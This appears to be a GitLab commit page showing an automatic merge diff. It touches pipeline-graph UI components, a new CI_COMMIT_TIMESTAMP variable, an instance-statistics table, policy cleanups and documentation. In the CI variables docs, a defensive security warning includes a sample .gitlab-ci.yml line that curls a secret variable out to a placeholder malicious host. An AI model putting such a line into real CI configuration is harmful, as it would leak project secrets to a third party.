Commit f383a29a authored by GitLab Bot's avatar GitLab Bot

Automatic merge of gitlab-org/gitlab master

parents 489b8fa8 a4b0530c
851da3925944b969da7f87057ba8da8274d5c18d
15c2f3921c4729e9c4d7ce8592300decfcfdb2e6
......@@ -94,11 +94,7 @@ export default {
},
'file.file_hash': {
handler: function watchFileHash() {
if (
this.glFeatures.autoExpandCollapsedDiffs &&
this.viewDiffsFileByFile &&
this.file.viewer.collapsed
) {
if (this.viewDiffsFileByFile && this.file.viewer.collapsed) {
this.isCollapsed = false;
this.handleLoadCollapsedDiff();
} else {
......@@ -108,7 +104,7 @@ export default {
immediate: true,
},
'file.viewer.collapsed': function setIsCollapsed(newVal) {
if (!this.viewDiffsFileByFile && !this.glFeatures.autoExpandCollapsedDiffs) {
if (!this.viewDiffsFileByFile) {
this.isCollapsed = newVal;
}
},
......
......@@ -44,6 +44,10 @@ export default {
return {
downstreamMarginTop: null,
jobName: null,
pipelineExpanded: {
jobName: '',
expanded: false,
},
};
},
computed: {
......@@ -120,6 +124,19 @@ export default {
setJob(jobName) {
this.jobName = jobName;
},
setPipelineExpanded(jobName, expanded) {
if (expanded) {
this.pipelineExpanded = {
jobName,
expanded,
};
} else {
this.pipelineExpanded = {
expanded,
jobName: '',
};
}
},
},
};
</script>
......@@ -181,6 +198,7 @@ export default {
:has-triggered-by="hasTriggeredBy"
:action="stage.status.action"
:job-hovered="jobName"
:pipeline-expanded="pipelineExpanded"
@refreshPipelineGraph="refreshPipelineGraph"
/>
</ul>
......@@ -193,6 +211,7 @@ export default {
graph-position="right"
@linkedPipelineClick="handleClickedDownstream"
@downstreamHovered="setJob"
@pipelineExpandToggle="setPipelineExpanded"
/>
<pipeline-graph
......
......@@ -31,7 +31,7 @@ import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
*/
export default {
hoverClass: 'gl-inset-border-1-blue-500',
hoverClass: 'gl-shadow-x0-y0-b3-s1-blue-500',
components: {
ActionComponent,
JobNameComponent,
......@@ -61,6 +61,11 @@ export default {
required: false,
default: '',
},
pipelineExpanded: {
type: Object,
required: false,
default: () => ({}),
},
},
computed: {
boundary() {
......@@ -101,8 +106,14 @@ export default {
hasAction() {
return this.job.status && this.job.status.action && this.job.status.action.path;
},
relatedDownstreamHovered() {
return this.job.name === this.jobHovered;
},
relatedDownstreamExpanded() {
return this.job.name === this.pipelineExpanded.jobName && this.pipelineExpanded.expanded;
},
jobClasses() {
return this.job.name === this.jobHovered
return this.relatedDownstreamHovered || this.relatedDownstreamExpanded
? `${this.$options.hoverClass} ${this.cssClassJobName}`
: this.cssClassJobName;
},
......
<script>
import { GlTooltipDirective, GlButton } from '@gitlab/ui';
import { GlTooltipDirective, GlButton, GlLink, GlLoadingIcon } from '@gitlab/ui';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
import { __, sprintf } from '~/locale';
......@@ -10,6 +10,8 @@ export default {
components: {
CiStatus,
GlButton,
GlLink,
GlLoadingIcon,
},
props: {
pipeline: {
......@@ -25,6 +27,11 @@ export default {
required: true,
},
},
data() {
return {
expanded: false,
};
},
computed: {
tooltipText() {
return `${this.downstreamTitle} #${this.pipeline.id} - ${this.pipelineStatus.label}
......@@ -66,11 +73,22 @@ export default {
? sprintf(__('Created by %{job}'), { job: this.pipeline.source_job.name })
: '';
},
expandedIcon() {
if (this.parentPipeline) {
return this.expanded ? 'angle-right' : 'angle-left';
}
return this.expanded ? 'angle-left' : 'angle-right';
},
expandButtonPosition() {
return this.parentPipeline ? 'gl-left-0 gl-border-r-1!' : 'gl-right-0 gl-border-l-1!';
},
},
methods: {
onClickLinkedPipeline() {
this.$root.$emit('bv::hide::tooltip', this.buttonId);
this.expanded = !this.expanded;
this.$emit('pipelineClicked', this.$refs.linkedPipeline);
this.$emit('pipelineExpandToggle', this.pipeline.source_job.name, this.expanded);
},
hideTooltips() {
this.$root.$emit('bv::hide::tooltip');
......@@ -88,27 +106,53 @@ export default {
<template>
<li
ref="linkedPipeline"
v-gl-tooltip
class="linked-pipeline build"
:title="tooltipText"
:class="{ 'downstream-pipeline': isDownstream }"
data-qa-selector="child_pipeline"
@mouseover="onDownstreamHovered"
@mouseleave="onDownstreamHoverLeave"
>
<gl-button
:id="buttonId"
v-gl-tooltip
:title="tooltipText"
class="linked-pipeline-content"
data-qa-selector="linked_pipeline_button"
:class="`js-pipeline-expand-${pipeline.id}`"
:loading="pipeline.isLoading"
@click="onClickLinkedPipeline"
<div
class="gl-relative gl-bg-white gl-p-3 gl-border-solid gl-border-gray-100 gl-border-1"
:class="{ 'gl-pl-9': parentPipeline }"
>
<ci-status v-if="!pipeline.isLoading" :status="pipelineStatus" css-classes="gl-top-0" />
<span class="str-truncated"> {{ downstreamTitle }} &#8226; #{{ pipeline.id }} </span>
<div class="gl-display-flex">
<ci-status
v-if="!pipeline.isLoading"
:status="pipelineStatus"
css-classes="gl-top-0 gl-pr-2"
/>
<div v-else class="gl-pr-2"><gl-loading-icon inline /></div>
<div class="gl-display-flex gl-flex-direction-column gl-w-13">
<span class="gl-text-truncate">
{{ downstreamTitle }}
</span>
<div class="gl-text-truncate">
<gl-link
v-if="childPipeline"
class="gl-text-blue-500!"
:href="pipeline.path"
data-testid="childPipelineLink"
>#{{ pipeline.id }}</gl-link
>
<span v-else>#{{ pipeline.id }}</span>
</div>
</div>
</div>
<div class="gl-pt-2">
<span class="badge badge-primary" data-testid="downstream-pipeline-label">{{ label }}</span>
</div>
</gl-button>
<gl-button
:id="buttonId"
class="gl-absolute gl-top-0 gl-bottom-0 gl-shadow-none! gl-rounded-0!"
:class="`js-pipeline-expand-${pipeline.id} ${expandButtonPosition}`"
:icon="expandedIcon"
data-testid="expandPipelineButton"
data-qa-selector="linked_pipeline_button"
@click="onClickLinkedPipeline"
/>
</div>
</li>
</template>
......@@ -44,6 +44,9 @@ export default {
onDownstreamHovered(jobName) {
this.$emit('downstreamHovered', jobName);
},
onPipelineExpandToggle(jobName, expanded) {
this.$emit('pipelineExpandToggle', jobName, expanded);
},
},
};
</script>
......@@ -65,6 +68,7 @@ export default {
:project-id="projectId"
@pipelineClicked="onPipelineClick($event, pipeline, index)"
@downstreamHovered="onDownstreamHovered"
@pipelineExpandToggle="onPipelineExpandToggle"
/>
</ul>
</div>
......
......@@ -41,6 +41,11 @@ export default {
required: false,
default: '',
},
pipelineExpanded: {
type: Object,
required: false,
default: () => ({}),
},
},
computed: {
hasAction() {
......@@ -86,6 +91,7 @@ export default {
v-if="group.size === 1"
:job="group.jobs[0]"
:job-hovered="jobHovered"
:pipeline-expanded="pipelineExpanded"
css-class-job-name="build-content"
@pipelineActionRequestComplete="pipelineActionRequestComplete"
/>
......
......@@ -108,7 +108,9 @@ export default {
</div>
</template>
<div class="row">
<div class="col-md-5 order-md-last col-12 gl-mt-5 mt-md-n1 pt-md-1 svg-content svg-225">
<div
class="col-md-5 order-md-last col-12 gl-mt-5 gl-mt-md-n2! gl-pt-md-2 svg-content svg-225"
>
<img data-testid="pipeline-image" :src="pipelineSvgPath" />
</div>
<div class="col-md-7 order-md-first col-12">
......
......@@ -119,3 +119,7 @@
width: auto !important;
}
}
.gl-shadow-x0-y0-b3-s1-blue-500 {
box-shadow: inset 0 0 3px $gl-border-size-1 $blue-500;
}
......@@ -34,7 +34,6 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:multiline_comments, @project, default_enabled: true)
push_frontend_feature_flag(:file_identifier_hash)
push_frontend_feature_flag(:batch_suggestions, @project, default_enabled: true)
push_frontend_feature_flag(:auto_expand_collapsed_diffs, @project, default_enabled: true)
push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true)
push_frontend_feature_flag(:hide_jump_to_next_unresolved_in_threads, default_enabled: true)
push_frontend_feature_flag(:merge_request_widget_graphql, @project)
......
# frozen_string_literal: true
module Analytics
module InstanceStatistics
def self.table_name_prefix
'analytics_instance_statistics_'
end
end
end
# frozen_string_literal: true
module Analytics
module InstanceStatistics
class Measurement < ApplicationRecord
enum identifier: { projects: 1, users: 2 }
validates :recorded_at, :identifier, :count, presence: true
validates :recorded_at, uniqueness: { scope: :identifier }
end
end
end
......@@ -491,6 +491,12 @@ module Ci
end
end
def git_commit_timestamp
strong_memoize(:git_commit_timestamp) do
commit.try(:timestamp)
end
end
def before_sha
super || Gitlab::Git::BLANK_SHA
end
......@@ -768,6 +774,7 @@ module Ci
variables.append(key: 'CI_COMMIT_TITLE', value: git_commit_full_title.to_s)
variables.append(key: 'CI_COMMIT_DESCRIPTION', value: git_commit_description.to_s)
variables.append(key: 'CI_COMMIT_REF_PROTECTED', value: (!!protected_ref?).to_s)
variables.append(key: 'CI_COMMIT_TIMESTAMP', value: git_commit_timestamp.to_s)
# legacy variables
variables.append(key: 'CI_BUILD_REF', value: sha)
......
......@@ -221,12 +221,16 @@ class Commit
description.present?
end
def timestamp
committed_date.xmlschema
end
def hook_attrs(with_changed_files: false)
data = {
id: id,
message: safe_message,
title: title,
timestamp: committed_date.xmlschema,
timestamp: timestamp,
url: Gitlab::UrlBuilder.build(self),
author: {
name: author_name,
......
......@@ -2,14 +2,7 @@
.gl-alert.gl-alert-danger.outdated-browser{ :role => "alert" }
= sprite_icon('error', css_class: "gl-alert-icon gl-alert-icon-no-title gl-icon")
.gl-alert-body
- if browser.ie? && browser.version.to_i == 11
- feedback_link_url = 'https://gitlab.com/gitlab-org/gitlab/issues/197987'
- feedback_link_start = '<a href="%{url}" class="gl-link" target="_blank" rel="noopener noreferrer">'.html_safe % { url: feedback_link_url }
= s_('OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11.')
%br
= s_('OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels.').html_safe % { feedback_link_start: feedback_link_start, feedback_link_end: '</a>'.html_safe }
- else
= s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.')
= s_('OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser.')
%br
- browser_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('install/requirements', anchor: 'supported-web-browsers') }
= s_('OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience.').html_safe % { browser_link_start: browser_link_start, browser_link_end: '</a>'.html_safe }
---
title: Create table for storing Instance Statistics object counts
merge_request: 40605
author:
type: added
---
title: Add CI_COMMIT_TIMESTAMP CI variable
merge_request: 40388
author: Nasko Vasilev
type: added
---
title: Fix issue causing 'Expand All' button to not work in MR diffs view (Remove `autoExpandCollapsedDiffs` feature flag)
merge_request: 40960
author:
type: fixed
---
title: Improve ability to navigate to child pipelines
merge_request: 40650
author:
type: added
---
title: Fix visibility param for ProjectSnippet REST endpoint
merge_request: 40966
author:
type: fixed
# frozen_string_literal: true
require './spec/support/sidekiq_middleware'
Gitlab::Seeder.quiet do
model_class = Analytics::InstanceStatistics::Measurement
recorded_at = Date.today
# Insert random counts for the last 10 weeks
measurements = 10.times.flat_map do
recorded_at = (recorded_at - 1.week).end_of_week.end_of_day - 5.minutes
model_class.identifiers.map do |_, id|
{
recorded_at: recorded_at,
count: rand(1_000_000),
identifier: id
}
end
end
model_class.upsert_all(measurements, unique_by: [:identifier, :recorded_at])
print '.'
end
# frozen_string_literal: true
class CreateAnalyticsInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0]
DOWNTIME = false
UNIQUE_INDEX_NAME = 'index_on_instance_statistics_recorded_at_and_identifier'
def change
create_table :analytics_instance_statistics_measurements do |t|
t.bigint :count, null: false
t.datetime_with_timezone :recorded_at, null: false
t.integer :identifier, limit: 2, null: false
end
add_index :analytics_instance_statistics_measurements, [:identifier, :recorded_at], unique: true, name: UNIQUE_INDEX_NAME
end
end
f581bd5f5ec26dc33643c77fb8c7a64a9053b55c3f6a7281fea89ac4790a58d2
\ No newline at end of file
......@@ -8930,6 +8930,22 @@ CREATE SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq
ALTER SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq OWNED BY public.analytics_cycle_analytics_project_stages.id;
CREATE TABLE public.analytics_instance_statistics_measurements (
id bigint NOT NULL,
count bigint NOT NULL,
recorded_at timestamp with time zone NOT NULL,
identifier smallint NOT NULL
);
CREATE SEQUENCE public.analytics_instance_statistics_measurements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
ALTER SEQUENCE public.analytics_instance_statistics_measurements_id_seq OWNED BY public.analytics_instance_statistics_measurements.id;
CREATE TABLE public.analytics_language_trend_repository_languages (
file_count integer DEFAULT 0 NOT NULL,
programming_language_id bigint NOT NULL,
......@@ -16814,6 +16830,8 @@ ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams ALTER COLU
ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages ALTER COLUMN id SET DEFAULT nextval('public.analytics_cycle_analytics_project_stages_id_seq'::regclass);
ALTER TABLE ONLY public.analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('public.analytics_instance_statistics_measurements_id_seq'::regclass);
ALTER TABLE ONLY public.appearances ALTER COLUMN id SET DEFAULT nextval('public.appearances_id_seq'::regclass);
ALTER TABLE ONLY public.application_setting_terms ALTER COLUMN id SET DEFAULT nextval('public.application_setting_terms_id_seq'::regclass);
......@@ -17712,6 +17730,9 @@ ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams
ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages
ADD CONSTRAINT analytics_cycle_analytics_project_stages_pkey PRIMARY KEY (id);
ALTER TABLE ONLY public.analytics_instance_statistics_measurements
ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id);
ALTER TABLE ONLY public.appearances
ADD CONSTRAINT appearances_pkey PRIMARY KEY (id);
......@@ -20325,6 +20346,8 @@ CREATE INDEX index_on_id_partial_with_legacy_storage ON public.projects USING bt
CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON public.identities USING btree (lower((extern_uid)::text), provider);
CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON public.analytics_instance_statistics_measurements USING btree (identifier, recorded_at);
CREATE INDEX index_on_users_name_lower ON public.users USING btree (lower((name)::text));
CREATE INDEX index_open_project_tracker_data_on_service_id ON public.open_project_tracker_data USING btree (service_id);
......
......@@ -141,6 +141,25 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
#### Security
Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project-starter).
- Merging the changes.
Here is a simplified example of a malicious `.gitlab-ci.yml`:
```yaml
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
```
### Custom environment variables of type Variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
......@@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements.
> Introduced in GitLab 9.3.
Variables can be protected. When a variable is
protected, it is securely passed to pipelines running on
[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get
protected, it is only passed to pipelines running on
[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
the protected variable.
To protect a variable:
......@@ -227,8 +246,7 @@ To protect a variable:
1. Select the **Protect variable** check box.
1. Click **Update variable**.
The variable is available for all subsequent pipelines. Protected variables can only
be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
The variable is available for all subsequent pipelines.
### Custom variables validated by GitLab
......
......@@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. |
| `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. |
| `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message |
| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. |
| `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. |
| `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. |
| `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` |
......
......@@ -263,8 +263,6 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde
CAUTION: **Caution:**
With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11.
With the release of GitLab 13.4 (September 2020) we will remove all code that supports Internet Explorer 11.
You can provide feedback [on this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/197987) or via your usual support channels.
GitLab supports the following web browsers:
......@@ -276,7 +274,7 @@ GitLab supports the following web browsers:
For the listed web browsers, GitLab supports:
- The current and previous major versions of browsers except Internet Explorer.
- The current and previous major versions of browsers.
- The current minor version of a supported major version.
NOTE: **Note:**
......
......@@ -164,7 +164,7 @@
}
&.downstream-pipeline {
height: 68px;
height: 86px;
}
.linked-pipeline-content {
......
......@@ -33,27 +33,6 @@ module EE
!PushRule.global&.commit_committer_check
end
with_scope :global
condition(:owner_cannot_modify_approvers_rules) do
License.feature_available?(:admin_merge_request_approvers_rules) &&
::Gitlab::CurrentSettings.current_application_settings
.disable_overriding_approvers_per_merge_request
end
with_scope :global
condition(:owner_cannot_modify_merge_request_author_setting) do
License.feature_available?(:admin_merge_request_approvers_rules) &&
::Gitlab::CurrentSettings.current_application_settings
.prevent_merge_requests_author_approval
end
with_scope :global
condition(:owner_cannot_modify_merge_request_committer_setting) do
License.feature_available?(:admin_merge_request_approvers_rules) &&
::Gitlab::CurrentSettings.current_application_settings
.prevent_merge_requests_committers_approval
end
with_scope :subject
condition(:regulated_merge_request_approval_settings) do
License.feature_available?(:admin_merge_request_approvers_rules) &&
......@@ -64,18 +43,6 @@ module EE
@subject.feature_available?(:project_merge_request_analytics)
end
condition(:cannot_modify_approvers_rules) do
regulated_merge_request_approval_settings?
end
condition(:cannot_modify_merge_request_author_setting) do
regulated_merge_request_approval_settings?
end
condition(:cannot_modify_merge_request_committer_setting) do
regulated_merge_request_approval_settings?
end
with_scope :subject
condition(:group_push_rules_enabled) do
@subject.group && ::Feature.enabled?(:group_push_rules, @subject.group.root_ancestor)
......@@ -267,7 +234,6 @@ module EE
enable :update_approvers
enable :admin_feature_flags_client
enable :modify_approvers_rules
enable :modify_approvers_list
enable :modify_auto_fix_setting
enable :modify_merge_request_author_setting
enable :modify_merge_request_committer_setting
......@@ -346,16 +312,9 @@ module EE
prevent :read_project
end
rule { cannot_modify_approvers_rules }.policy do
rule { regulated_merge_request_approval_settings }.policy do
prevent :modify_approvers_rules
prevent :modify_approvers_list
end
rule { cannot_modify_merge_request_author_setting }.policy do
prevent :modify_merge_request_author_setting
end
rule { cannot_modify_merge_request_committer_setting }.policy do
prevent :modify_merge_request_committer_setting
end
......
......@@ -1237,7 +1237,7 @@ RSpec.describe ProjectPolicy do
end
end
context 'with merge request approvers not available in license' do
context 'with merge request approvers rules not available in license' do
where(:role, :regulated_setting, :admin_mode, :allowed) do
:guest | true | nil | false
:reporter | true | nil | false
......@@ -1268,32 +1268,22 @@ RSpec.describe ProjectPolicy do
describe ':modify_approvers_rules' do
it_behaves_like 'merge request rules' do
let(:setting_name) { :disable_overriding_approvers_per_merge_request }
let(:policy) { :modify_approvers_rules }
end
end
describe ':modify_merge_request_author_setting' do
it_behaves_like 'merge request rules' do
let(:setting_name) { :prevent_merge_requests_author_approval }
let(:policy) { :modify_merge_request_author_setting }
end
end
describe ':modify_merge_request_committer_setting' do
it_behaves_like 'merge request rules' do
let(:setting_name) { :prevent_merge_requests_committers_approval }
let(:policy) { :modify_merge_request_committer_setting }
end
end
describe ':modify_approvers_list' do
it_behaves_like 'merge request rules' do
let(:setting_name) { :disable_overriding_approvers_per_merge_request }
let(:policy) { :modify_approvers_list }
end
end
it_behaves_like 'resource with requirement permissions' do
let(:resource) { project }
end
......
......@@ -95,7 +95,7 @@ module API
optional :visibility, type: String,
values: Gitlab::VisibilityLevel.string_values,
desc: 'The visibility of the snippet'
at_least_one_of :title, :file_name, :content, :visibility_level
at_least_one_of :title, :file_name, :content, :visibility
end
# rubocop: disable CodeReuse/ActiveRecord
put ":id/snippets/:snippet_id" do
......
......@@ -17341,18 +17341,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
msgstr ""
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
msgstr ""
msgid "Outdent"
msgstr ""
......
# frozen_string_literal: true
FactoryBot.define do
factory :instance_statistics_measurement, class: 'Analytics::InstanceStatistics::Measurement' do
recorded_at { Time.now }
identifier { Analytics::InstanceStatistics::Measurement.identifiers[:projects] }
count { 1_000 }
end
end
......@@ -128,26 +128,6 @@ describe('DiffFile', () => {
});
});
it('should auto-expand collapsed files when viewDiffsFileByFile is true', done => {
vm.$destroy();
window.gon = {
features: { autoExpandCollapsedDiffs: true },
};
vm = createComponentWithStore(Vue.extend(DiffFileComponent), createStore(), {
file: JSON.parse(JSON.stringify(diffFileMockDataUnreadable)),
canCurrentUserFork: false,
viewDiffsFileByFile: true,
}).$mount();
vm.$nextTick(() => {
expect(vm.$el.innerText).not.toContain('This diff is collapsed');
window.gon = {};
done();
});
});
it('should be collapsed for renamed files', done => {
vm.renderIt = true;
vm.isCollapsed = false;
......
......@@ -16,6 +16,9 @@ describe('graph component', () => {
let wrapper;
const findExpandPipelineBtn = () => wrapper.find('[data-testid="expandPipelineButton"]');
const findAllExpandPipelineBtns = () => wrapper.findAll('[data-testid="expandPipelineButton"]');
beforeEach(() => {
setHTMLFixture('<div class="layout-page"></div>');
});
......@@ -167,7 +170,7 @@ describe('graph component', () => {
describe('triggered by', () => {
describe('on click', () => {
it('should emit `onClickTriggeredBy` when triggered by linked pipeline is clicked', () => {
const btnWrapper = wrapper.find('.linked-pipeline-content');
const btnWrapper = findExpandPipelineBtn();
btnWrapper.trigger('click');
......@@ -213,7 +216,7 @@ describe('graph component', () => {
),
});
const btnWrappers = wrapper.findAll('.linked-pipeline-content');
const btnWrappers = findAllExpandPipelineBtns();
const downstreamBtnWrapper = btnWrappers.at(btnWrappers.length - 1);
downstreamBtnWrapper.trigger('click');
......
......@@ -13,6 +13,7 @@ describe('pipeline graph job item', () => {
});
};
const triggerActiveClass = 'gl-shadow-x0-y0-b3-s1-blue-500';
const delayedJobFixture = getJSONFixture('jobs/delayed.json');
const mockJob = {
id: 4256,
......@@ -33,6 +34,18 @@ describe('pipeline graph job item', () => {
},
},
};
const mockJobWithoutDetails = {
id: 4257,
name: 'test',
status: {
icon: 'status_success',
text: 'passed',
label: 'passed',
group: 'success',
details_path: '/root/ci-mock/builds/4257',
has_details: false,
},
};
afterEach(() => {
wrapper.destroy();
......@@ -61,18 +74,7 @@ describe('pipeline graph job item', () => {
describe('name without link', () => {
beforeEach(() => {
createWrapper({
job: {
id: 4257,
name: 'test',
status: {
icon: 'status_success',
text: 'passed',
label: 'passed',
group: 'success',
details_path: '/root/ci-mock/builds/4257',
has_details: false,
},
},
job: mockJobWithoutDetails,
cssClassJobName: 'css-class-job-name',
jobHovered: 'test',
});
......@@ -86,7 +88,7 @@ describe('pipeline graph job item', () => {
});
it('should apply hover class and provided class name', () => {
expect(findJobWithoutLink().classes()).toContain('gl-inset-border-1-blue-500');
expect(findJobWithoutLink().classes()).toContain(triggerActiveClass);
expect(findJobWithoutLink().classes()).toContain('css-class-job-name');
});
});
......@@ -154,4 +156,24 @@ describe('pipeline graph job item', () => {
);
});
});
describe('trigger job highlighting', () => {
it('trigger job should stay highlighted when downstream is expanded', () => {
createWrapper({
job: mockJobWithoutDetails,
pipelineExpanded: { jobName: mockJob.name, expanded: true },
});
expect(findJobWithoutLink().classes()).toContain(triggerActiveClass);
});
it('trigger job should not be highlighted when downstream is closed', () => {
createWrapper({
job: mockJobWithoutDetails,
pipelineExpanded: { jobName: mockJob.name, expanded: false },
});
expect(findJobWithoutLink().classes()).not.toContain(triggerActiveClass);
});
});
});
import { mount } from '@vue/test-utils';
import { GlButton } from '@gitlab/ui';
import { GlButton, GlLoadingIcon } from '@gitlab/ui';
import LinkedPipelineComponent from '~/pipelines/components/graph/linked_pipeline.vue';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
......@@ -16,10 +16,18 @@ describe('Linked pipeline', () => {
const findButton = () => wrapper.find(GlButton);
const findPipelineLabel = () => wrapper.find('[data-testid="downstream-pipeline-label"]');
const findLinkedPipeline = () => wrapper.find({ ref: 'linkedPipeline' });
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findPipelineLink = () => wrapper.find('[data-testid="childPipelineLink"]');
const findExpandButton = () => wrapper.find('[data-testid="expandPipelineButton"]');
const createWrapper = propsData => {
const createWrapper = (propsData, data = []) => {
wrapper = mount(LinkedPipelineComponent, {
propsData,
data() {
return {
...data,
};
},
});
};
......@@ -76,7 +84,7 @@ describe('Linked pipeline', () => {
});
it('should render the tooltip text as the title attribute', () => {
const titleAttr = findButton().attributes('title');
const titleAttr = findLinkedPipeline().attributes('title');
expect(titleAttr).toContain(mockPipeline.project.name);
expect(titleAttr).toContain(mockPipeline.details.status.label);
......@@ -117,6 +125,56 @@ describe('Linked pipeline', () => {
createWrapper(upstreamProps);
expect(findPipelineLabel().exists()).toBe(true);
});
it('downsteram pipeline should link to the child pipeline if child', () => {
createWrapper(downstreamProps);
expect(findPipelineLink().attributes('href')).toBe(mockData.triggered_by.path);
});
it('upstream pipeline should not contain a link', () => {
createWrapper(upstreamProps);
expect(findPipelineLink().exists()).toBe(false);
});
it.each`
presentClass | missingClass
${'gl-right-0'} | ${'gl-left-0'}
${'gl-border-l-1!'} | ${'gl-border-r-1!'}
`(
'pipeline expand button should be postioned right when child pipeline',
({ presentClass, missingClass }) => {
createWrapper(downstreamProps);
expect(findExpandButton().classes()).toContain(presentClass);
expect(findExpandButton().classes()).not.toContain(missingClass);
},
);
it.each`
presentClass | missingClass
${'gl-left-0'} | ${'gl-right-0'}
${'gl-border-r-1!'} | ${'gl-border-l-1!'}
`(
'pipeline expand button should be postioned left when parent pipeline',
({ presentClass, missingClass }) => {
createWrapper(upstreamProps);
expect(findExpandButton().classes()).toContain(presentClass);
expect(findExpandButton().classes()).not.toContain(missingClass);
},
);
it.each`
pipelineType | anglePosition | expanded
${downstreamProps} | ${'angle-right'} | ${false}
${downstreamProps} | ${'angle-left'} | ${true}
${upstreamProps} | ${'angle-left'} | ${false}
${upstreamProps} | ${'angle-right'} | ${true}
`(
'$pipelineType.columnTitle pipeline button icon should be $anglePosition if expanded state is $expanded',
({ pipelineType, anglePosition, expanded }) => {
createWrapper(pipelineType, { expanded });
expect(findExpandButton().props('icon')).toBe(anglePosition);
},
);
});
describe('when isLoading is true', () => {
......@@ -130,8 +188,8 @@ describe('Linked pipeline', () => {
createWrapper(props);
});
it('sets the loading prop to true', () => {
expect(findButton().props('loading')).toBe(true);
it('loading icon is visible', () => {
expect(findLoadingIcon().exists()).toBe(true);
});
});
......@@ -172,5 +230,10 @@ describe('Linked pipeline', () => {
findLinkedPipeline().trigger('mouseleave');
expect(wrapper.emitted().downstreamHovered).toStrictEqual([['']]);
});
it('should emit pipelineExpanded with job name and expanded state on click', () => {
findExpandButton().trigger('click');
expect(wrapper.emitted().pipelineExpandToggle).toStrictEqual([['trigger_job', true]]);
});
});
});
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe Analytics::InstanceStatistics::Measurement, type: :model do
describe 'validation' do
let!(:measurement) { create(:instance_statistics_measurement) }
it { is_expected.to validate_presence_of(:recorded_at) }
it { is_expected.to validate_presence_of(:identifier) }
it { is_expected.to validate_presence_of(:count) }
it { is_expected.to validate_uniqueness_of(:recorded_at).scoped_to(:identifier) }
end
end
......@@ -50,6 +50,7 @@ RSpec.describe Ci::Bridge do
CI_PROJECT_PATH_SLUG CI_PROJECT_NAMESPACE CI_PROJECT_ROOT_NAMESPACE
CI_PIPELINE_IID CI_CONFIG_PATH CI_PIPELINE_SOURCE CI_COMMIT_MESSAGE
CI_COMMIT_TITLE CI_COMMIT_DESCRIPTION CI_COMMIT_REF_PROTECTED
CI_COMMIT_TIMESTAMP
]
expect(bridge.scoped_variables_hash.keys).to include(*variables)
......
......@@ -2329,6 +2329,7 @@ RSpec.describe Ci::Build do
{ key: 'CI_COMMIT_TITLE', value: pipeline.git_commit_title, public: true, masked: false },
{ key: 'CI_COMMIT_DESCRIPTION', value: pipeline.git_commit_description, public: true, masked: false },
{ key: 'CI_COMMIT_REF_PROTECTED', value: (!!pipeline.protected_ref?).to_s, public: true, masked: false },
{ key: 'CI_COMMIT_TIMESTAMP', value: pipeline.git_commit_timestamp, public: true, masked: false },
{ key: 'CI_BUILD_REF', value: build.sha, public: true, masked: false },
